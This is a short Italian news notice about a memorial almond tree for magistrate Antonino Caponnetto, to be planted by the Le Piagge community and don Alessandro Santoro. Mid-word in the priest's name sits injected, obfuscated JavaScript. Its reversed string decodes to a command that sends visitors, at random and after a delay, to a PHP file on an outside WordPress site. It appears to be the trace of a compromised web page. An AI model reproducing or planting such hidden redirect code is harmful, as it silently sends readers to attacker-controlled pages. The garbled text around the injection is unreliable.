Un mandorlo per Caponnetto

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Ad un mese dalla scomparsa del magistrato Antonino Caponnetto, la Comunità di Base delle Piagge intende ricordarlo con un gesto simbolico carico di significato.
Il pomeriggio del 6 gennaio Aless (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andro Santoro, prete delle Piagge, e gli abitanti del quartiere, a cui Caponnetto ha sempre dimostrato affetto e vicinanza, pianteranno un albero in ricordo di un amico comune. Il magistrato fu tra i primi a manifestare solidarietà a don Santoro quando cinque anni fa ricevette delle minacce, e assieme decisero di piantare degli ulivi per affermare la volontà di resistere e lottare per costruire una città “diversa”.
Il mandorlo che sarà piantato accanto al muretto, simbolo della comunità, testimonierà che è ancora viva quella sete di giustizia che portò Caponnetto in Sicilia e che lo ha sempre fatto parlare della legalità come strumento indispensabile di convivenza. Questo momento avrà luogo il 6 gennaio alle ore 16.00 all’angolo tra via Marche e via Lazio, alla presenza della famiglia di Caponnetto e della comunità delle Piagge. Sono stati invitati i colleghi e gli amici del magistrato oltre a rappresentanti delle istituzioni cittadine e di quartiere.

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